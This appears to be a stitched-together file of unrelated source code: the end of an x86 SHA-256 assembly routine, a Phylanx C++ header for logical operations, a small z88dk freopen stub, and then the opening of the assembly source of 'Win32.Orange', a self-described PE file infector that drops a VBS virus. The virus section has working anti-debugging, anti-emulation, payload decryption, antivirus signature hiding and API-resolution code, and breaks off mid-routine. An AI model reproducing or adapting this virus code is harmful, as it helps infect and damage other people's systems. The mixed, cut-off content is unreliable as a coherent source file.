add ebx,DWORD [56+esp]
shr edi,10
add ebx,DWORD [92+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
mov DWORD [56+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1537002063+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [64+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [52+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [60+esp]
shr edi,10
add ebx,DWORD [32+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
mov DWORD [60+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1747873779+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [68+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [56+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [64+esp]
shr edi,10
add ebx,DWORD [36+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [64+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1955562222+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [72+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [60+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [68+esp]
shr edi,10
add ebx,DWORD [40+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [68+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2024104815+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [76+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [64+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [72+esp]
shr edi,10
add ebx,DWORD [44+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [72+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2227730452+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [80+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [68+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [76+esp]
shr edi,10
add ebx,DWORD [48+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [76+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2361852424+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [84+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [72+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [80+esp]
shr edi,10
add ebx,DWORD [52+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [80+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2428436474+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [88+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [76+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [84+esp]
shr edi,10
add ebx,DWORD [56+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [84+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2756734187+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [92+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [80+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [88+esp]
shr edi,10
add ebx,DWORD [60+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3204031479+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [32+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [84+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [92+esp]
shr edi,10
add ebx,DWORD [64+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3329325298+edx*1+ebx]
xor esi,ecx
xor eax,edi
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [96+esp]
xor ebp,edi
mov ecx,DWORD [12+esp]
add eax,DWORD [esi]
add ebp,DWORD [4+esi]
add edi,DWORD [8+esi]
add ecx,DWORD [12+esi]
mov DWORD [esi],eax
mov DWORD [4+esi],ebp
mov DWORD [8+esi],edi
mov DWORD [12+esi],ecx
mov DWORD [4+esp],ebp
xor ebp,edi
mov DWORD [8+esp],edi
mov DWORD [12+esp],ecx
mov edi,DWORD [20+esp]
mov ebx,DWORD [24+esp]
mov ecx,DWORD [28+esp]
add edx,DWORD [16+esi]
add edi,DWORD [20+esi]
add ebx,DWORD [24+esi]
add ecx,DWORD [28+esi]
mov DWORD [16+esi],edx
mov DWORD [20+esi],edi
mov DWORD [24+esi],ebx
mov DWORD [28+esi],ecx
mov DWORD [20+esp],edi
mov edi,DWORD [100+esp]
mov DWORD [24+esp],ebx
mov DWORD [28+esp],ecx
cmp edi,DWORD [104+esp]
jb NEAR L$009grand_loop
mov esp,DWORD [108+esp]
pop edi
pop esi
pop ebx
pop ebp
ret
segment .bss
common _OPENSSL_ia32cap_P 16 |
// Copyright (c) 2017-2019 Hartmut Kaiser
// Copyright (c) 2018 Shahrzad Shirzad
// Copyright (c) 2018 Tiany Zhang
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#if !defined(PHYLANX_PRIMITIVES_LOGICAL_OPERATION_IMPL_SEP_02_2018_0703PM)
#define PHYLANX_PRIMITIVES_LOGICAL_OPERATION_IMPL_SEP_02_2018_0703PM
#include <phylanx/config.hpp>
#include <phylanx/execution_tree/primitives/node_data_helpers.hpp>
#include <phylanx/ir/node_data.hpp>
#include <phylanx/ir/ranges.hpp>
#include <phylanx/plugins/booleans/logical_operation.hpp>
#include <hpx/include/lcos.hpp>
#include <hpx/include/naming.hpp>
#include <hpx/include/util.hpp>
#include <hpx/throw_exception.hpp>
#include <algorithm>
#include <array>
#include <cstddef>
#include <cstdint>
#include <memory>
#include <string>
#include <utility>
#include <vector>
#include <blaze/Math.h>
#if defined(PHYLANX_HAVE_BLAZE_TENSOR)
#include <blaze_tensor/Math.h>
#endif
///////////////////////////////////////////////////////////////////////////////
namespace phylanx { namespace execution_tree { namespace primitives
{
template <typename Op>
struct logical_operation<Op>::visit_logical
{
template <typename T1, typename T2>
primitive_argument_type operator()(T1, T2) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side are incompatible "
"logical can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(std::vector<ast::expression>&&,
std::vector<ast::expression>&&) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(
ast::expression&&, ast::expression&&) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(primitive&&, primitive&&) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
template <typename T>
primitive_argument_type operator()(T&& lhs, T&& rhs) const
{
return primitive_argument_type(
ir::node_data<std::uint8_t>{Op{}(lhs, rhs)});
}
primitive_argument_type operator()(
ir::dictionary&& lhs, ir::dictionary&& rhs) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(ast::nil lhs, ast::nil rhs) const
{
return primitive_argument_type(
ir::node_data<std::uint8_t>{Op{}(bool(lhs), bool(rhs))});
}
primitive_argument_type operator()(ir::range lhs, ir::range rhs) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(
std::string lhs, std::string rhs) const
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"left hand side logical right hand side can't be compared",
logical_.name_, logical_.codename_));
}
primitive_argument_type operator()(ir::node_data<double>&& lhs,
ir::node_data<std::int64_t>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(
std::move(lhs), ir::node_data<double>(std::move(rhs)));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
primitive_argument_type operator()(ir::node_data<std::int64_t>&& lhs,
ir::node_data<double>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(
ir::node_data<double>(std::move(lhs)), std::move(rhs));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
primitive_argument_type operator()(ir::node_data<double>&& lhs,
ir::node_data<std::uint8_t>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(
std::move(lhs), ir::node_data<double>(std::move(rhs)));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
primitive_argument_type operator()(ir::node_data<std::uint8_t>&& lhs,
ir::node_data<double>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(
ir::node_data<double>(std::move(lhs)), std::move(rhs));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
primitive_argument_type operator()(ir::node_data<std::int64_t>&& lhs,
ir::node_data<std::uint8_t>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(std::move(lhs),
ir::node_data<std::int64_t>(std::move(rhs)));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
primitive_argument_type operator()(ir::node_data<std::uint8_t>&& lhs,
ir::node_data<std::int64_t>&& rhs) const
{
if (lhs.num_dimensions() != 0 || rhs.num_dimensions() != 0)
{
return logical_.logical_all(
ir::node_data<std::int64_t>(std::move(lhs)),
std::move(rhs));
}
return primitive_argument_type(ir::node_data<std::uint8_t>{
Op{}(rhs[0] != 0, lhs[0] != 0)});
}
template <typename T>
primitive_argument_type operator()(ir::node_data<T>&& lhs,
ir::node_data<T>&& rhs) const
{
return logical_.logical_all(std::move(lhs), std::move(rhs));
}
logical_operation const& logical_;
};
///////////////////////////////////////////////////////////////////////////
template <typename Op>
logical_operation<Op>::logical_operation(primitive_arguments_type&& operands,
std::string const& name, std::string const& codename)
: primitive_component_base(std::move(operands), name, codename)
{}
///////////////////////////////////////////////////////////////////////////
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical0d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs) const
{
return primitive_argument_type(
ir::node_data<std::uint8_t>{Op{}(lhs.scalar(), rhs.scalar())});
}
///////////////////////////////////////////////////////////////////////////
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical1d1d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs) const
{
std::size_t lhs_size = lhs.dimension(0);
std::size_t rhs_size = rhs.dimension(0);
if (lhs_size != rhs_size)
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::logical1d1d",
util::generate_error_message(
"the dimensions of the operands do not match",
name_, codename_));
}
// TODO: SIMD functionality should be added, blaze implementation
// is not currently available
if (lhs.is_ref())
{
lhs = blaze::map(lhs.vector(), rhs.vector(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
else
{
lhs.vector() = blaze::map(lhs.vector(), rhs.vector(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
return primitive_argument_type(
ir::node_data<std::uint8_t>{std::move(lhs)});
}
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical1d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs,
std::array<std::size_t, PHYLANX_MAX_DIMENSIONS> const& sizes) const
{
if (lhs.dimensions() != rhs.dimensions())
{
blaze::DynamicVector<T> lhs_data, rhs_data;
extract_value_vector(
lhs_data, std::move(lhs), sizes[0], name_, codename_);
extract_value_vector(
rhs_data, std::move(rhs), sizes[0], name_, codename_);
return ir::node_data<std::uint8_t>{blaze::map(lhs_data, rhs_data,
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); })};
}
return logical1d1d(std::move(lhs), std::move(rhs));
}
///////////////////////////////////////////////////////////////////////////
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical2d2d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs) const
{
auto lhs_size = lhs.dimensions();
auto rhs_size = rhs.dimensions();
if (lhs_size != rhs_size)
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::logical2d2d",
generate_error_message(
"the dimensions of the operands do not match"));
}
// TODO: SIMD functionality should be added, blaze implementation
// is not currently available
if (lhs.is_ref())
{
lhs = blaze::map(lhs.matrix(), rhs.matrix(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
else
{
lhs.matrix() = blaze::map(lhs.matrix(), rhs.matrix(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
return primitive_argument_type(
ir::node_data<std::uint8_t>{std::move(lhs)});
}
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical2d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs,
std::array<std::size_t, PHYLANX_MAX_DIMENSIONS> const& sizes) const
{
if (lhs.dimensions() != rhs.dimensions())
{
blaze::DynamicMatrix<T> lhs_data, rhs_data;
extract_value_matrix(
lhs_data, std::move(lhs), sizes[0], sizes[1], name_, codename_);
extract_value_matrix(
rhs_data, std::move(rhs), sizes[0], sizes[1], name_, codename_);
return ir::node_data<std::uint8_t>{blaze::map(lhs_data, rhs_data,
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); })};
}
return logical2d2d(std::move(lhs), std::move(rhs));
}
#if defined(PHYLANX_HAVE_BLAZE_TENSOR)
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical3d3d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs) const
{
auto lhs_size = lhs.dimensions();
auto rhs_size = rhs.dimensions();
if (lhs_size != rhs_size)
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical_operation<Op>::logical3d3d",
util::generate_error_message(
"the dimensions of the operands do not match",
name_, codename_));
}
// TODO: SIMD functionality should be added, blaze implementation
// is not currently available
if (lhs.is_ref())
{
lhs = blaze::map(lhs.tensor(), rhs.tensor(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
else
{
lhs.tensor() = blaze::map(lhs.tensor(), rhs.tensor(),
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); });
}
return primitive_argument_type(
ir::node_data<std::uint8_t>{std::move(lhs)});
}
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical3d(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs,
std::array<std::size_t, PHYLANX_MAX_DIMENSIONS> const& sizes) const
{
if (lhs.dimensions() != rhs.dimensions())
{
blaze::DynamicTensor<T> lhs_data, rhs_data;
extract_value_tensor(lhs_data, std::move(lhs), sizes[0], sizes[1],
sizes[2], name_, codename_);
extract_value_tensor(rhs_data, std::move(rhs), sizes[0], sizes[1],
sizes[2], name_, codename_);
return ir::node_data<std::uint8_t>{blaze::map(lhs_data, rhs_data,
[&](bool x, bool y) -> std::uint8_t { return Op{}(x, y); })};
}
return logical3d3d(std::move(lhs), std::move(rhs));
}
#endif
///////////////////////////////////////////////////////////////////////////
template <typename Op>
template <typename T>
primitive_argument_type logical_operation<Op>::logical_all(
ir::node_data<T>&& lhs, ir::node_data<T>&& rhs) const
{
auto sizes = extract_largest_dimensions(name_, codename_, lhs, rhs);
switch (extract_largest_dimension(name_, codename_, lhs, rhs))
{
case 0:
return logical0d(std::move(lhs), std::move(rhs));
case 1:
return logical1d(std::move(lhs), std::move(rhs), sizes);
case 2:
return logical2d(std::move(lhs), std::move(rhs), sizes);
#if defined(PHYLANX_HAVE_BLAZE_TENSOR)
case 3:
return logical3d(std::move(lhs), std::move(rhs), sizes);
#endif
default:
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::logical_all",
generate_error_message(
"left hand side operand of logical has unsupported number "
"of dimensions"));
}
}
template <typename Op>
hpx::future<primitive_argument_type> logical_operation<Op>::eval(
primitive_arguments_type const& operands,
primitive_arguments_type const& args, eval_context ctx) const
{
// TODO: support for operands.size() > 2
if (operands.size() != 2)
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"the logical primitive requires exactly two operands",
name_, codename_));
}
if (!valid(operands[0]) || !valid(operands[1]))
{
HPX_THROW_EXCEPTION(hpx::bad_parameter,
"logical::eval",
util::generate_error_message(
"the logical primitive requires that the "
"arguments given by the operands array are valid",
name_, codename_));
}
auto this_ = this->shared_from_this();
return hpx::dataflow(hpx::launch::sync, hpx::util::unwrapping(
[this_ = std::move(this_)](primitive_argument_type&& op1,
primitive_argument_type&& op2)
-> primitive_argument_type
{
return primitive_argument_type(
util::visit(visit_logical{*this_},
std::move(op1.variant()), std::move(op2.variant())));
}),
value_operand(operands[0], args, name_, codename_, ctx),
value_operand(operands[1], args, name_, codename_, ctx));
}
}}}
#endif
|
; FILE *freopen_callee(char *filename, char *mode, FILE *stream)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _freopen_callee
EXTERN asm_freopen
_freopen_callee:
pop af
pop hl
pop de
pop ix
push af
jp asm_freopen
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _freopen_callee
EXTERN _freopen_unlocked_callee
defc _freopen_callee = _freopen_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
;
; -Greetz to all 29Aerz,and iKX'erz-
;
; Win32.Orange [created by Ebola] paired with VBS/Orange2
;
; Type: Win32 PE infector
; Size: Approx 3.0KB
; Encrypted: Yes (1 layer)
; Polymorphic: No
; Optimized: Yes, CRC api's and somewhat optimized opcodes (damn I need lessons from Super/29A:)
; Payload: None, but drops a VBS virus.
; Misc. Features: Drops a VBS virus file and executes it. Several Anti-Debug,Anti-Emu features
; and last it uses lots of SEH
; Infections: All files in current directory and 13 files in the windows directory.
;
; Alright I believe this is my 2nd win32 virus release, my first one is zipped up with a
; password that I don't remember :). Anyway, this direct infector infects all files in current
; directory and 13 files in windows directory. It drops a VBS/Virus (VBS/Orange2).
;
; What's next? Probably gonna make a worm in win32asm.. :))
;
; Feelings (huh? I have no idea:)
;
; Even if you don't live in the U.S., I feel very vehement about what Bin Laden did
; to our country. I know everyone has their own opinions and I respect those opinions
; and I don't want to get into a little political war about how unfair the U.S. can
; be to other countries, but I think his billionaire ass should burn in hell. Speekin
; of BILLionaire ass, I will not be held responsible for any damages or any havoc that
; this software causes to any systems. I do not condone nor allow spreading of viruses
; so by spreading this virus you are involving yourself into the legal system and I will
; not go to court and support you.. In other words, I hold absolutely no responsibility
; towards this software and I only support beta testing. I made this out of experimentation
; on my computer and if you cause worldwide computer failure, I don't care - It's your
; fault, It's your bad, I have ABSOLUTELY NOTHING TO DO WITHIT!!!
;
; Okay, enough rambling, on with the source code, enjoy if you wish
;
; ONE MORE THING: Macro Assembler is the only good software M$ has ever made (AGAIN, NO
; POLITICAL BATTLES PLEASE.. :)
;
;** To be compiled with Masm 6.0: Check win32asm.cjb.net
;** Order of PUSHAD: (E)AX [1Ch], (E)CX [18h], (E)DX [14h], (E)BX [10h], (E)SP [0Ch], (E)BP [8h], (E)SI [4h], (E)DI [0h]
.386p
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
@Delta_Handle MACRO
call markit
markit:
pop ebp
sub ebp,offset markit
ENDM
OS_WIN98 equ 1
OS_WINNT equ 2
.code
start:
virus_start = $
pushad
ASSUME FS: nothing
;** kill off some debuggers
call setupseh
mov esp,[esp+08h]
jmp fin
setupseh:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
xor eax,eax
mov dword ptr [eax],00h ; BAM!
fin:
xor edx,edx
pop dword ptr fs:[edx] ;** clear up the stack
pop edx
;** should be zero
mov ecx,fs:[20]
jecxz choker
;** locks em up all the time, muahaha
cli
jmp $-1
choker:
popad
;** First we must get the delta to access our data
@Delta_Handle
or ebp,ebp
jz monkey
mov esi,monkey
add esi,ebp
mov ecx,virus_end-monkey
push esi
pop edi
decrypt:
lodsb
not al ;not al
stosb
dec ecx
jecxz monkey
jmp decrypt
monkey = $
;** Next we find the kernel in memory
mov eax,[esp]
and eax,0FFFF0000h ; Just get the 32bit high word
loopgetkern:
sub eax,1000h ; Surf throught the pages
mov bx,word ptr [eax]
not bx ; protect from having 'MZ' in our code
cmp bx,not 'ZM' ; and check for a MZ header
jnz loopgetkern ; no, we keep checking
mov [ebp+kernel],eax
ring3:
xchg eax,ebx ;** silly anti-emu
mov ebx,ds ;aahh i love it
push ebx
pop ds ; playing with ds is surefire to throw something off
xchg eax,ebx
;** Find our current OS that we're on (NOTE: this may not work on WinME, i am not sure)
; works with Win98, Win95, WinNT, Win2000 though
; Taken from Billy Belcebu's great and huge virus writing guide, thanx billy!
mov ecx,cs
xor cl,cl
jecxz wNT
mov [ebp+CurrentOS],OS_WIN98
jmp prepare
wNT:
mov [ebp+CurrentOS],OS_WINNT
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
; OK, we have our OS down, next we find our API's
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
prepare:
mov esi,[ebp+kernel]
mov ebx,esi
mov esi,[esi+03ch]
add esi,ebx
mov ax,word ptr [esi]
not ax ; again, hide the 'PE' in the file as AV looks for this
cmp ax,not "EP" ; check for valid PE file
jnz no_kernel
add esi,78h ; Get to exports address
mov esi,[esi] ; go there
add esi,ebx
lea edi,[ebp+NumberOfNames] ; we are going to get info from exports table
add esi,018h
lodsd ; Get number of names,
stosd ; store it.
lodsd ; Get RVA of addresses,
stosd ; store it.
lodsd ; Get RVA of Names,
stosd ; store it.
lodsd ; Get RVA of Ordinals,
stosd ; store it.
; total 8 bytes :) usually takes alot more
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
; Locate our API's ****
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
lea esi,[ebp+CRC32_PROC]
mov ecx,[esi]
lea edi,[ebp+GetProcAddress]
loop_getem:
call Get_APICRC32
stosd
add esi,4
mov ecx,[esi]
jecxz done_finding_api
jmp loop_getem
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
;** Next we do some more tricks to get rid of
; debuggers or emulators
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
done_finding_api:
call dword ptr [ebp+IsDebuggerPresent] ; find application level debuggers
jz proceed ; none, proceed to SoftICE
; Put anti debug stuff here
cli
jmp $-1 ; hang the damn bitches
proceed:
call CheckSoftICE ; checks if SoftICE for 95/98/NT is in memory
or eax,eax ; check EAX
jz LoadingSequence ; load it up :)
jmp leaveth ; SoftICE detected, we're outta here
jmp LoadingSequence
;** Check for softice presence
CheckSoftICE:
push 00h
push 80h
push 03h
push 00h
